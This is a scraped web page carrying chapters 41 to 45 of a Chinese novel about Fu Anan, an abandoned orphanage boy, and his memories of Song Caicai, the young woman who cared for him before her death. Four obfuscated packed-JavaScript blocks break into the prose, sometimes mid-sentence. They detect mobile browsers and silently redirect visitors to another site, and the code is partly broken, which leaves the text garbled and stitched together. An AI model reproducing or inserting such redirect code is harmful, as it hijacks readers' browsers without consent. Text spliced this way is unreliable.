;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187552|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雨露均沾倾洒在几个鸟窝中,一切仿佛都在书写着生命的力量。
柳南絮转身看向福安安,问:“现在只有我们两个了,你愿意和我聊聊吗?”
福安安垂着脑袋,嘟嘟囔囔地说:“我本来就是在等你。”
他现在没有一点冷冰冰的样子,只有和年龄不匹配的倔强。而倔强的下面,是委屈。
柳南絮上前一步,直接在地上坐下,后背靠着大树,然后拍拍旁边的草坪,示意福安安也坐下。
福安安迟疑了,可又像是不好拒绝似的有了动作,不过他是蹲着的,没坐下。
知道对方没看自己,柳南絮还是笑着说:“你想和我聊什么?不如你来起个头!”
“我想和你聊聊彩彩姐姐。”
福安安的声音带着哽咽,为了给他足够的时间,柳南絮没有立即接话,果然,小孩很快又说话了。
“我想她了。”
这个季节,视线之内处处展现着“新生”的模样,福安安毫不贪恋万物生生不息共生的风景,只盯着面前的一朵蒲公英出神。
“你很坚强,”柳南絮放柔声音,不想惊扰到陷在回忆中的福安安,“要是有什么心里话想表达出来,完全可以告诉我,我很乐意当你的树洞,我也不会随便告诉别人,特殊情况除外。”
一阵风自地面卷起,撞到了白绒绒的蒲公英。
被打散的冠毛在空中摇摇晃晃,像是祝福,又像是不舍。
原地只剩下光秃秃的叶柄,福安安却还在看。同时,他开口慢慢讲述于自己而言弥足珍贵的往事。
全健福利院里面的孩子都知道自己为什么会在这里,福安安的来历也不怎么新鲜。
他被遗弃的地点是一条巷子的垃圾桶桶盖上,那天就快要过年了,天气很冷,阴沉沉的。
负责清理垃圾的环卫工在凌晨发现了福安安,惊呼着把他从垃圾筒上抱到怀里,恰好,雪花落了下来。
尚在襁褓中的福安安被雪花的冰凉惊扰到,迷迷糊糊地转醒,不哭也不闹,只是冲着环卫工咳嗽了几声。
环卫工摸了摸他的额头,吓了一跳,慌慌张张地带着福安安到派出所。
民警联系医院,医治好了福安安的高烧,之后展开调查。
可是,那条小巷子实在太偏僻,没有监控,附近的监控也没什么线索,福安安最终到了全健福利院。
当时全健福利院的院长不是现在的秦院长,是前前院长,姓李,四十多岁了。
李院长见到福安安的时候一阵叹息,因为这孩子身体除去有些营养不良外,没有任何问题。
说到这儿,福安安停顿住,过了很久才再次开口:“刚开始我不明白家里面为什么会有这么多人,可我只是不明白。”
后来,他从大点的哥哥姐姐们那里知道了,这里不是他的家,他是被抛弃的孩子。
所以,福安安开始好奇“家”应该是什么样子的,开始想知道自己为什么会来这里。
42. 第四十二章
他从各种绘本中知道了普通的“家”里面应该有爸爸、妈妈,福安安委屈地心想:我没有。
他从李院长那里追问到了自己的身世来历,使得福安安更加深刻地明白了哥哥姐姐们的话。
这里确实不是他的家,他真的只是一个没人要、被抛弃的孩子。
之后很长一段时间,福安安就像是醒悟般变得很沉默,他谦让小伙伴,异常懂事听话。
不论是志愿者还是爱心人士,见到福安安,没有人会不夸赞他。
只有李院长,早早察觉出不对劲,很担心这个孩子。也多次找福安安谈话,可是没用。
没过多久,有户条件相当不错的人家因为迟迟怀不上孩子,所以想着干脆收养一个,来了全健福利院一眼就相中福安安。
当时,福安安不但相当配合,言行举止还都在讨好那户人家。
大家都很满意,结果必然是好的。
所有人都这样认为。
那户人家确实对福安安很好,张罗着给他取名改姓报学校,忙活着帮他收拾打扮融入新家。
福安安被天上掉下来的爱意惊到,也被洗涤了身心,整个人精神不少,都快忘记自己被抛弃过的事实。
期间李院长来看过他几次,一次比一次放心。
很快,名字改好了,学校也找好了,一切都在朝着好的方向发展,如果没有出现意外的话,就该完美收场了。
偏偏,在福安安准备入学的前一天,养母检查出来怀孕了。
养父高兴得从拿到检查单开始就给盼孙儿的父母打电话,各种声线的笑声响彻整座医院。
晚上,老两口从乡下着急忙慌地赶到,乐呵得合不拢嘴,冲着儿媳妇好一通叮嘱,叮嘱完后,四个大人住了嘴,目光齐刷刷望向楼上,又不约而同降低音量。
年迈的男声最先出现:“福利院的那个,你们打算怎么办?”
他们以为福安安早就睡下了,殊不知小孩正蹲在墙角静静地听着。
养母吸了一口凉气,犯了愁,说:“确实有点难办。”
“送回去吧!”养父说话的语气相当无所谓,“明天我给全健福利院那边联系。”
养母有点于心不忍,问:“这不好吧?”
常年游走在各种酒桌、宴会上换钱的养父很会做生意,权衡利弊不过一瞬之间,大手一挥,放话说:“有什么不好的?当初收养孩子那是因为你迟迟怀不上,现在好不容易怀上了,肯定要紧着亲生的孩子,再来一个你忙得过来吗?”
“谁去和孩子说呢?”养母询问的目光从每个人身上划过,最后落在了自己丈夫的身上。
养父做出吃惊的表情,反问:“你的意思是想要我去和他说?我可不能去。”
养母正准备问他为什么不能去,婆婆也跟着帮忙搭腔,说:“儿媳妇啊!你看,我儿子那么大的一个老板,这种事,要是让他去说,传出去的话影响多不好,更何况,当初是你提的领养,也是你想领养这个小孩的,他和你最亲了,所以你去说最好不过了。”
婆婆说的一番话让养母瞪大了眼睛,怎么到头来成为罪人的只有自己呢?
可是没办法,次日早上,还是由养母向福安安提出了分别,话语委婉,态度不舍。
福安安避开她伸向自己的手,冷冷地说:“我知道了。”
“对不起,妈妈真的很想爱你。”养母说这话的时候,手还护着自己的肚子。
缺爱的人会嘴硬地说不稀罕“爱”,大言不惭向全世界宣告那种东西就是狗屁。
福安安当时就是那样,眼神平淡,如同深渊,冷笑一声,仰头冲着养母短促地吐出一个字:“切。”
不属于自己的东西终究不属于自己,挽留不住,被砸到的人也没有“挽留”的打算。
天上掉下来的爱意很快被收了回去,福安安再次回到全健福利院。
他回来带的行李比离开的时候要多出很多,换算成那户人家的话来说就是——歉意。
“我才不要什么歉意,太假了,所以那一大堆零食和学习用品我碰都没碰一下,我只是想不明白……”福安安抬起胳膊狠狠蹭一下眼睛,强忍着哭腔问,“为什么被抛弃的又是我?”
先是被亲生父母抛弃,后来好不容易盼来的希望,最后竟然也不过是黄粱一梦。
是啊!到底为什么呢?
他明明什么都没有做,不是吗?
“我见过了外面的世界,享受过真正意义上的家,所以,即便是假的,我还是没办法装作什么都没有发生一样重新过回福利院的生活。”
福安安蹲得有些累了,扭着身子看了一眼柳南絮,咬咬牙,扭正后从口袋里掏出卫生纸铺在地上,然后坐了下去。他还左右检查自己的衣服,确定没有触碰到草地才继续往下讲。
“被送回来的那段时间,我常常在心里面问,是不是不应该赌气?是不是应该软着性子央求他们留下自己?”
福安安耸了耸肩,情绪已经恢复平稳。
“不管是以前还是现在,我一直想不明白这些问题的答案,想破脑袋也还是想不明白自己做错了什么,为什么总是没人要我。”
“别担……”
柳南絮想要开口安慰,话刚起了个头,就被福安安打断。
“我知道你想说什么,那些话已经有人对我说过了,所以我现在已经不难过了。”
怎么可能不难过?柳南絮心想。但还是顺着福安安的意没再往下说,毕竟,他现在最需要的不是安慰,而是可以认认真真倾听他说话的人。
福安安怀揣着无人诉说的委屈,独自挨过了夏天,终于,在那年的秋天遇见了放节假日回家的宋彩彩。
自打被送回来,福安安一直独来独往,那天依旧也是,别的小朋友都在空地上做游戏,他趁没人注意麻利地往树上爬。
福安安刚在树杈上坐好,一低头,同站在树下向上望的宋彩彩对上了视线。
宋彩彩两只手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187553|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
各提着一大袋零食,费力地举了一下,由于太沉,动作不是多么明显,问:“小弟弟,姐姐请你吃零食好不好?”
“不好。”福安安脆生生地拒绝。
“你都不知道这里面有什么就说不好。”宋彩彩一点都不恼火,“这里有饼干、薯片、牛奶、巧克力,你喜欢吃什么?”
福安安再次脆生生地拒绝:“都不喜欢。”
树上的人说完刚要收回视线,就看到陌生的大姐姐把两大袋东西在地上放好,从口袋里掏出了一根棒棒糖,高高举起,笑着说:“好巧,那些我也不喜欢,我喜欢吃棒棒糖,你喜不喜欢?”
拒绝的话在大脑中强势出击,到了喉咙口却迷了路。
福安安心情复杂地望向宋彩彩看了好长时间,最终不情不愿地从树上爬下去,一声不吭抽走了宋彩彩手里面的棒棒糖。
“因为我接受了棒棒糖,彩彩姐姐认为我同样接受了她,所以跟着我没话找话说个不停,棒棒糖吃完了,我烦得受不了,冲她吼,吼……”福安安低下头,“我让她别和我说话。”
宋彩彩被吓了一跳,说到一半的话死死卡住,整张脸都写着“不明白”。
别说是她,福安安在说完之后自己都愣住了。
两人在原地僵持着,直到宋彩彩的养父找过来,他没有察觉到尴尬的气氛,一出现就乐呵呵地招呼宋彩彩去吃午饭。
宋彩彩回过神冲养父应了一声,又询问福安安,道:“走吧!我们一起去吃饭吧!”
福安安没理她,手里面紧紧捏着吃完的棒棒糖小棍子,拔腿跑开了。
他没去吃午饭,也不想碰见谁,可全健福利院来来回回就这么大点地方,找个清闲的地方实在不太容易。所以,福安安又选择了往树上躲。
已经深秋了,大树上的枝叶稀疏,根本不足以遮挡依旧热烈的阳光。
仅剩的叶子泛着令人不适的黄,树上的人索性闭上眼睛。不知道过了多久,树底下又传来动静。
掉落在地的干枯树叶被人踩碎,发出有些悦耳的声音。
宋彩彩再次找了过来,手里面拿着一个小水壶,说:“安安,姐姐没有棒棒糖了,但是姐姐给你带了水。”
福安安脑门子上都是汗,按着树枝向下望了一眼,然后起身爬下去,板着脸从宋彩彩手里拿走写有自己名字,属于他的小水壶。
半壶水下肚,热气被成功击退。
福安安提着水壶,很认真,又很平静地说:“我讨厌你。”
“我知道。”这一次宋彩彩没有被吓到,甚至脸上的笑意都没有减淡分毫,用更加认真,但温柔的语气问,“那么,你可以和我说说原因吗?”
福安安攥着拳头站了好长时间,宋彩彩弯腰弯得有些累,但生怕惊扰到小孩的情绪,愣是强撑着没敢动。
终于,在下一秒听见福安安十分不甘心地阐述出自己内心真实的想法,声音稚嫩又倔强。
“你有家人,你不属于这里。”
43. 第四十三章
福安安之所以这样说,是由于宋彩彩这次来带了很多东西,一个人拿不下,所以是她的养父母陪着一起来的,而在谈话的时候,难免会提到“从这里走出去”之类的字眼。
恰恰,爬到树上的福安安站得高听得远,他全都看到,也听到了。
因此他认为,全健福利院对宋彩彩而言不过是一个很短暂的收容所,但这里对他来说,是无处可去的唯一落脚点。
宋彩彩在找过来之前特意向李院长了解了福安安,知道面前的小孩子是个什么情况。刚才问福安安的问题她不过是在明知故问,只是,没想到会得到这样的回答,一时间非常惊讶。
福安安见宋彩彩的反应,觉得没意思,扭头就要走,却被人拽住。
“只要自己不喜欢,不论出于怎样的境地被困在原地,都是不属于那里的,同理,只要自己喜欢,就算没有置身于那里,依旧属于那片土地,所以,我哪怕有家人,我依旧属于这里,明白吗?”
这次轮到福安安被宋彩彩的话震撼到了,他仰头望向站在阳光里面的大姐姐,隐隐觉得似乎找到可以理解自己的人了。
分别之前,福安安被宋彩彩牵着走出全健福利院,大门现实中离他依旧很近,可在心里,大门被远远甩在了身后。
五六岁的小孩儿没有被这次突如其来的爱意惊到,因为这次从天上掉下来的不是黄粱一梦,而是实打实的秋日暖阳。
松开手,宋彩彩蹲在地上,仰头看着福安安,诚恳地说:“或许我今天说的那些话你很快就遗忘在脑后,或许我们的缘分比想象中的还要短暂,但是小弟弟,不要去嫉妒任何人,想要的东西要靠自己去争取,哪怕没有一处可以比得过竞争对手,我祝你肆意地活着,就像被风吹散的蒲公英球。”
那些话太长、太晦涩,当时的福安安其实并没有完全听懂,但是眼眶却涌现出泪水,他强忍着,回答:“好。”
白色面包车承载着太阳渐行渐远,好在,太阳留给了他许多阳光。
道路两旁的草坪中零零散散长着几株蒲公英,刚好正值绽放。在福安安目送宋彩彩的时候,一阵风刮过,几株蒲公英都放飞了冠毛。
他落泪了,在模糊的视线中,院前熟悉又陌生的柏油路从此鲜活生动了起来。
那个时候福安安太过年幼,没办法用话语完美地表述出内心受到的触动,现在一点一滴地把往事讲述出来,仍旧只觉得好幸运。
种种过往,别说是经历者了,就连倾听者都为之动容。
“光”主动找上一颗受到过破坏的种子,且不责备种子的鲁莽,而是耐心地呵护陪伴,并认真地灌输希望。
里面蕴含的情感,太温暖了。
福安安的性格重新转变成开朗,不再自卑,变得谦虚有礼,在认真生活的同时,盼望着宋彩彩再次出现在全健福利院的大门口。
在后来的日子里,他再往树上爬,不是为了躲清静,而是为了更快地奔向太阳。
福安安脑子很聪明,学习特别好,于是他开始规划未来,好不容易规划好了,想着讲给宋彩彩听,可惜……
他们相遇次年的夏天,蝉鸣声升起的时候,把巨大的噩耗捎带来了。
太阳陨落了。
宋彩彩大学毕业以后,想要工作的地方离家近些,所以选择到太阳花幼儿园应聘,结果很顺利,在众多面试者中,她成为了脱颖而出的胜利者之一。
刚入职,是异常忙碌的,别说是到全健福利院探望了,就连回家都顾不上和养父母说几句话。
福安安还太小,不了解那些,还在左等右等。
突然有一天,李院长问他:“小福,你每天眼巴巴望着大门口,是想出去玩吗?”
福安安蹲在地上,托着腮帮子说:“我不想出去玩,我在等彩彩姐姐来找我玩。”
“彩彩?”李院长不是很明白,“彩彩她不是说临近毕业,没办法来了吗?你等她来,怕是要等到放暑假了。”
福安安更是不明白,觉得李院长是在开玩笑,是为了不想让他再继续等下去,好专心学习,等待期末考试,所以立即选择拆穿她。
“李院长你比我一个小孩子还要幼稚,撒这种谎干什么?我知道彩彩姐姐去年就已经毕业了,她现在在太阳花幼儿园工作呢!”
李院长疑惑地说:“不能吧!你记错了,彩彩她今年才毕业,你听谁说的她在太阳花幼儿园工作的?”
“彩彩姐姐上次来和我说的呀!”福安安说完又开始沮丧,“可惜她上次来的时间很短,还很突然,我都没来得及跑去给她开门,也没来得及对她说我的未来规划。”
李院长根据这话,把“宋彩彩已经毕业在工作”的事归结成了“福安安太想念宋彩彩所幻想出来的未来”,放下心来,说:“没关系,她还会再来的,所以你考试要加油!好好学习,让彩彩看到你的进步,好不好?”
福安安咧开嘴露出一个大大的笑容,乖乖回答:“好。”
“这就对了,来,我们回房间乖乖做作业。”李院长牵起福安安的手向前走去。
福安安表现的和往常一样,只是“怀疑”的种子已经在不随意对外展现的内心生根发芽。
为了让自己的“怀疑”变得合理,接下来的几天,他装作不经意在很多人面前提起宋彩彩。
小小孩童的演技并不是多么高超,只是所有人都没有多想,毕竟对福安安来说,宋彩彩是他的大英雄。
他也从未遮掩过自己对宋彩彩的喜爱,这里的人都知道。
所以,福安安打听宋彩彩,对这里的人来说,不是什么奇怪的事。
几天的铺垫,福安安心底的“怀疑”转变成“肯定”。
他肯定所有人都认为宋彩彩还在上大学,只有他记得彩彩姐姐在太阳花幼儿园工作。
急于见到宋彩彩,福安安采取了行动。
他先从一个志愿者那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187554|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里打探出太阳花幼儿园的具体位置,趁没人注意,在凌晨溜出了全健福利院。
一切相当顺利,并且没有引起任何人的怀疑和注意。
夏季天亮得早,只是那一天不够凑巧,阴沉的天气没有下雨,而是起了浓雾。
但是没关系,福安安手里攥着偷偷绘制的路线图,怀揣着满满的期待大步向前。
他马上就要见到太阳了,他看到的世界马上就要亮起来了。
他是这样期望的,只是,那时候的他还不明白,期望越大,越容易落空。
现在福安安明白了,所以他又把一切噩耗的源头归结在了自己身上,于是问柳南絮,道:“如果那天,我没有去找彩彩姐姐,是不是可以改变一切?”
“如果”这个词里面包含的悔意太浓重,“改变一切”的话也太傻。
柳南絮抬手揉了揉福安安的脑袋,之后问:“悲剧的出现和你根本没有直接联系,就算你没有去,该发生的事还是会发生,你把自己的行为当成最大的错误,你觉得彩彩姐姐如果知道的话,会开心吗?”
福安安被揉脑袋的时候小躲了一下,不过也没有多么抗拒,听完柳南絮的话,他低声说:“不会。”
柳南絮又抬手揉了揉福安安的脑袋,这次小孩没有躲避,伸手的人很满意,追问:“所以,那天到底发生了什么?”
“我看到彩彩姐姐死……”福安安被自己说出来的话刺激了一下,猛地停顿住,缓了一口气,又换了一种说法,“她去世了。”
几个字,仿佛把福安安的力气用尽了。
只见他咽了一口唾沫,攥紧了手,哆嗦着再次开口:“不只是彩彩姐姐,整辆校车的人,都没了,大家都不在了。”
虽然起着浓雾,视线被严重遮挡,路标根本看不清,好在有路线图。
当福安安走到某个路口时,突然被一辆校车吸引了注意力。
校车有些高,他看不到里面,但闻到了浓重的血腥味儿,所以福安安小心翼翼走近,费力地踮起脚尖往里面看去,想要找到气味的来源。
过程中难免要触碰到校车,可是怪事发生了,他触碰不到校车。
福安安愣了愣,站直后再次伸手试探。手指在触碰到校车之前,铁皮以凹进去的形态躲避开,碰哪里,哪里就会迅速凹进去,根本碰不到。
浓雾越发重了,里面混杂的血腥味儿同样更重了,走神的福安安被这味道刺激得抬手捂住鼻子,再次踮起脚尖往里面看,还是看不到就蹦起来看。
他只看了一眼,浑身上下顿时冒出汗。
踩着的地面跟着变得虚无,福安安没能站稳,狼狈地摔到地上。
他这一摔,把两三个过路的人给吓到了,紧张兮兮地停下来关心。
福安安不说话,只是满脸惊恐地盯着校车的车轮。
很快,本来没什么人经过的小道围满了人,因此不可避免有人会站在校车停放的位置。
44. 第四十四章
福安安眼里的画面变成了校车被几个陌生的大人挤得完全变了形,他果断开口大声呵斥那几个人,让他们走开,不要站在那里。
被吼的几个人觉得福安安有毛病,但懒得和一个小孩子计较,所以嫌弃地转身走了。
不光他们,不管是谁站在那里,福安安都会吼。
福安安不在乎遭到白眼,心里想的都是不要挤到彩彩姐姐。
李院长以最快的速度找过来,本想着见到人先把他好好数落一通,真见到人后倒不舍得了,一通紧张地询问有没有受伤,得到“没有”的答案后终于彻底放心,带着人回来了。
回到全健福利院,福安安依旧沉浸在悲伤中,他本以为无意之间撞到的惨剧没办法合情合理地宣泄出去,没想到不过次日半夜,就得知了“宋彩彩遇害身亡”的消息。
那天福安安依旧睡不着,一旦闭上眼睛,脑海中全都是校车里面的惨状。等到了半夜,他干脆溜到楼顶看星星。
走廊上静悄悄的,有些可怕。
福安安蹑手蹑脚地走着,等到了李院长的休息室门前,骤然响起一阵浮夸的手机来电铃声,不知道对面说了什么,李院长急匆匆丢过去“我马上过去”这几个字,然后传来走路的声音,很快,房门被打开了。
福安安根本来不及躲避,被抓了个现行。
李院长身上穿着睡衣,脚上穿着拖鞋,皱起眉头,张了张嘴,最后变成叹气,疲惫地说:“算了,走吧,我带你去看彩彩姐姐。”
福安安的心里更加不安,一把抓住李院长的手,问:“为什么?很晚了。”
李院长蹲下身,尽量不让悲伤的情绪暴露出来,撒谎说:“刚才彩彩姐姐打电话过来,说想见见你,你去不去?”
福安安料到即将面对的是什么,很轻地点了一下头。
得到回答,李院长不再浪费时间,匆匆忙忙带着福安安赶到医院。
可惜的是,他们还是去晚了,没有见到宋彩彩的最后一面。
几个大人围着宋彩彩哭得上气不接下气,福安安远远躲在墙角,更是觉得崩溃,因为那张被大人围着的病床上,在他的眼里根本没有彩彩姐姐。
悲伤的人个个真心实意,落在福安安眼里只有新学的两个字——“虚伪”。
他几次想冲动地把心里话大吼出来:彩彩姐姐根本不在那里,她也不是因为见义勇为死掉的,她昨天早上就死了。
但是他没有,他知道不会有人相信他。
因为人总是无比相信自己看到的东西。
这句话是他在书里看到的。
宋彩彩下葬那天,年幼的福安安没有去,但不妨碍他开始逐渐意识到,原来最残忍的不是死亡,而是突如其来的分别。
他的世界,光源断了。
宋彩彩和福安安相遇在秋天,缘分终止在夏天。
福安安脑袋里面原本装着的乱七八糟的诸多问题,全都被宋彩彩的耐心陪伴和宽心话语清除了出去,所以在宋彩彩下完葬,福安安的脑子里面只剩下一个更加想不明白的问题——夏天为什么这么让人讨厌?
直到现在,这个问题依旧无解。
故事讲到这里,福安安早已经被泪水糊了一脸,哽咽着说:“我宁愿彩彩姐姐只在我的世界里死亡,也不希望她在所有人的眼里都是一座坟墓,更何况,她连离世的真正原因都不清不楚。”
福安安真正鸣的不平,是有那么多人心疼宋彩彩,可是都不知道宋彩彩真正去世的原因,连她已经大学毕业,开始工作了也不知道,所以,福安安讨厌他们,甚至厌恶他们。
听完故事,柳南絮彻底理解福安安了。
被亲生父母抛弃,被养父母抛弃,好不容易盼来的太阳又陨落,黑暗接二连三的偷袭过来,防备心肯定会被不断拔高。
“安安,我知道安慰的话很单薄,更何况就像你说的那样,已经有人安慰过你了,我也相信你永远都会记得你的彩彩姐姐,相信你永远都会记得她对你说的那些话,所以,我就不安慰你了,我祝你破茧重生。”
柳南絮说完从地上站起来,走到福安安面前,朝他伸出手,又道:“走吧!我带你去喝水。”
话说得太多,福安安的声音早就有些哑,之前柳南絮几次想出声打断带他去喝水,始终没找到合适的机会。
福安安看着柳南絮递到面前的右手,一时产生了错觉,想起刚才自己其实漏讲了一部分。
他摔到地上后,围着的人从少变多,又从多变少。到最后,一个人都没有了。
福安安再克制不住情绪,崩溃地嚎啕大哭起来,等到哭完,才发现面前不知道什么时候站了两个人。
一男一女,他们没有说话,只是那个男的像柳南絮这样朝他伸出了右手。
福安安仰头向上看去,可惜他们的脸被浓雾完全遮挡住了,他什么也看不到。莫名的,福安安没有害怕,还觉得浓雾后面的两张面容一定很温暖。
在五年前,福安安学到的所有词汇中,“温暖”这个词是他认为对人最大的褒奖。
现在也是。
因为这个词永永远远代表着宋彩彩。
福安安把手递过去,借力站了起来。
手掌相触,他才知道对方的手掌极其冰凉,比天气还要寒冷,和“温暖”半点沾不上边,但是福安安并不抵触,反而有些依赖。
站起来和坐在地上没什么区别,他还是看不到他们的脸。
福安安想问问两位看不清脸的陌生好心人能不能看到校车,或者能不能闻到血腥味儿,可惜还没有组织好语言,李院长就找了过来,他只能把疑惑暂时收好,开始应付一系列的关心。
等让李院长放下心,福安安见他们还没有离开,便介绍道:“院长,这两个大哥哥和大姐姐人很好,一直陪着我。”
李院长朝福安安指着的地方看去,被吓到了,问:“小福,你怎么了?该不会是中邪了吧?那里没有人啊!哪儿来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187555|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的大哥哥和大姐姐呀?”
福安安看了一眼,两个人明明就是还在那里,他想要争辩,刚张嘴,被李院长的目光狠狠刺了一下,顿时明白了,即将脱口而出的话变了道,说:“啊!我看错了,刚才他们还在这里的,可能是见你来了,所以放了心走了。”
院长这才抹着脑门子上的汗,说:“那我们回去吧!”
走出去很远,福安安趁李院长不注意,悄悄扭头看去,不用细找,便看见那两位看不清脸,手掌冰凉的大哥哥和感觉很温柔的大姐姐站在路口目送自己。
浓雾已经散了很多,奇怪的是,他依旧看不见对方的脸。
在他走神的这段时间里,柳南絮的右手一直没有收回去,福安安仰着头,很认真地问:“我们以前是不是见过?”
柳南絮放下手,回答道:“虽然我很希望我们见过,但是抱歉,实话实说,没有。”
“好吧!”福安安从地上站起来,还乖乖把垫屁股的卫生纸收走,然后才跟着柳南絮去喝水。
接下来和小朋友们的相处中,柳南絮的确遵守着自己说过的话,自始至终没有对福安安说一句安慰的话,只是在举止中流露着对他的偏爱。
福安安心思敏感,怎么可能注意不到,于是他一边接收着柳南絮的关心,一边分心暗想:安慰的话确实太过单薄,但足以支撑我走出去很远很远,远到遇见下一个浑身上下散发着温暖的人,只是,希望缘分来临的时候千万千万不要在夏天。
他讨厌夏天。
他厌恨夏天。
他害怕夏天。
赵芹预约的时间比柳南絮上次来预约的时间要长,直到天边的太阳有了西沉的迹象,赵安梦才给柳南絮使离开的眼色。
夕阳如同被打翻了的颜料盒,把遥远的天边映衬得既虚无,又近在咫尺。
这是两种极致的对立,不仅容易触动人心底最柔软的部分,还会让人产生一种想把心里话统统说出来的冲动。
福安安不想单单把感觉停留在“冲动”的层面,他想让心里话穿过心脏,穿过血液,穿过皮囊,出来好好见见夕阳。所以,他时刻留意着时间,甚至比柳南絮先一步会意赵安梦的眼色。
“我想单独和你说句话。”福安安在嗅到分别的气味后,把心里酝酿许久的话匆忙说出来。
柳南絮顶着赵芹复杂的目光,跟上福安安再次站到发着嫩芽的大树下。
两人站定,福安安先扭扭捏捏了一阵,才说:“我想不明白夏天为什么那么让人讨厌,但是,大哥哥,我是在春天遇见的你,不是恶心人的夏天,所以,别丢下我。”
听到福安安对自己的称呼,柳南絮满满的成就感,心想:学会喊人了,很大的进步。
“怎么会,别瞎想。”柳南絮伸手揉揉福安安的脑袋,“之后我会帮助你成长,目送你成长,绝对不会丢下你,放心。”
福安安肉眼可见的开心起来,扯出一个大大的笑容,点头道:“好。”
45. 第四十五章
三人两车返程的时候,柳南絮猛地记起自己这次来没来得及准备东西,不免有些不好意思,本想给赵安梦打电话要请她和赵芹吃饭,但又顾及对方在开车,所以停好车后,改为发消息表示请吃饭当谢礼。
柳南絮回家主要是拿记录的两个本子,拿上了又往门外走。
他在里面还没碰到门把手,门外就传来钥匙开锁的声音,紧接着,房门被拉开,柳南絮和柳洪兵、许静两人碰了个面。
“哟!儿子,今儿回来得这么早啊!”柳洪兵提着一大兜食材,乐呵呵地开玩笑,“难不成你知道你妈今天晚上要烧红烧肉?”
许静轻拍了柳洪兵一下,问:“儿子,你这是又要出去?”
“事情没处理完,回来拿东西的。”柳南絮一边回答,一边想要接过柳洪兵手里面的塑料袋。
柳洪兵迅速避开儿子的手,还毫不客气地把人往旁边推推,说:“不用,你爸我力气大着呢!这点东西不至于提不动。”
柳南絮也乐得顺着父亲,没有硬要帮忙。
许静还站在门外,问:“你什么时候忙完回来?要不我们等你回来再吃饭吧?”
“不用等我,”柳南絮举了一下手里的本子,“我这边忙完不知道要什么时候了,我正要说不用做我的饭了。”
儿子是忙工作上的事,这也没办法。许静兴致降了降,道:“那好吧!你快去忙吧!路上慢点,别着急。”
“好,知道了。”柳南絮说着,匆匆下楼。
等到了车上,刚准备发动车子,手机响了一下。
柳南絮拿起来看,是赵安梦发的消息,应该是到家后才看到的。她拒绝了请客,说不是什么大事,不用了。
看着消息,柳南絮想到赵芹对自己的敌意,“请客”的事只好作罢,毕竟让他感到头疼的事不止这一件。他还要把今天的情况告知给莫宁,实在没时间浪费在纠结上。
暗灭手机屏幕,柳南絮便想到昨天晚上的矛盾,不免叹了口气,妥协般把手机再次按亮,解锁、拨号、等接通。
铃声响了很久,直到自动挂断都没人接,看着退回到“联系人”页面的屏幕,柳南絮烦躁地心想:怎么哄人啊?
对面连电话都不接的态度,让柳南絮真真切切体会到了一种无助,正打算干脆去她家找她解释,莫宁回电话了。
“喂!柳南絮。”
听那边的动静,莫宁像是还在上班的地方。
柳南絮看了一眼时间,已经快七点了,明知故问:“还在工作?”
对面应该有人和莫宁打招呼,莫宁回了一句,才问柳南絮,道:“对,怎么了?”
柳南絮提醒:“不是说信息交换吗?信息出来了,发个位置,我去接你。”
“可是我这边还要忙一个小时,今天集训班老师的助理有急事请假了,所以让我帮帮忙,这边要八点才下班。”莫宁解释完又给出合理的解决办法,“不如你直接给我发消息说?”
莫宁给出的办法确实很节省时间,但柳南絮内心执意要当面说清楚,把方案驳回,说:“没关系,发个位置,我去找你。”
柳南絮的坚持让莫宁没有料到,她拿着手机的手不由自主施加了点力气。
在两人无声的对峙中,莫宁想问问对面的人为什么非要当面说,想问问对面的人是不是要算昨天晚上的帐。
迟迟没有得到回答,柳南絮以为是自己的要求冒昧了,只好改口:“那好,我给你发消息。”
话音落下,手机弹出一条消息,是莫宁发来的位置。
“喂!”莫宁把手机重新贴近耳朵,“位置发送过去了,你刚才说什么?”
原本的担心一下子烟消云散,柳南絮笑了笑,耍赖回答:“什么?我刚才没说话啊。”
上课时间到了,莫宁简单应了一声,挂断电话忙工作去了。
柳南絮在导航的指引下,轻松地来到名叫“跃燃”的培训机构。
